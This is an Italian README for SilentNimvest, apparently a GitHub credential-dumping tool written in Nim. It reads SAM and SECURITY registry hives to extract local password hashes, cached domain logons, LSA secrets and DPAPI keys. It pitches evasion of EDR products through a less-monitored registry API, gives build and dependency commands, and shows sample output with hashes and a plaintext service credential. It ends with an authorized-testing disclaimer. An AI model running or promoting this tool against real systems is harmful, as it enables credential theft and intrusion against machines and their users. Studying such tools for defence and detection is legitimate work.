frkngksl/silentnimvestImplementazione in Nim del metodo di estrazione delle credenziali di sud0Ru dagli hive SAM/SECURITY (noto come SilentHarvest)
Fondamentalmente, SilentNimvest è un parser di SAM e Security Hives scritto in Nim. SilentNimvest legge le chiavi all'interno di questi hive utilizzando la tecnica Silent Harvest. Con questa tecnica, anziché un privilegio a livello di SYSTEM, un normale account Amministratore che abilita SeBackupPrivilege (grazie ai flag NtOpenKeyEx) può dumpare gli hash degli utenti locali, le informazioni di accesso al dominio memorizzate nella cache, i segreti LSA e altri segreti ottenibili da questi hive
utilizzando un'API di lettura del registro meno allertata dagli EDR, ovvero RegQueryMultipleValuesW.
L'intero progetto si basa sulla ricerca di sud0ru.
Puoi compilare direttamente il codice sorgente con il seguente comando:
nim c -d:release -o:SilentNimvest.exe Main.nim
Nel caso in cui ottieni l'errore "cannot open file", dovresti anche installare le dipendenze richieste:
nimble install winim nimcrypto checksums des
SilentNimvest può essere eseguito direttamente senza parametri richiesti da un terminale di Amministratore con privilegi elevati.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Tentativo di analisi delle credenziali correlate al SAM (Utenti Locali)
[*] RID Utente Locale: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] RID Utente Locale: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] RID Utente Locale: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] RID Utente Locale: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] RID Utente Locale: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Tentativo di analisi delle credenziali correlate alla Security (Informazioni di accesso al dominio memorizzate nella cache, Account Macchina e Segreti LSA)
[*] Chiavi DPAPI: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Utente in testo semplice da _SC_Backupservice: .\zoro:SilentNimvest
Solo per test di sicurezza autorizzati. L'uso improprio di questo strumento contro sistemi senza esplicita autorizzazione è illegale.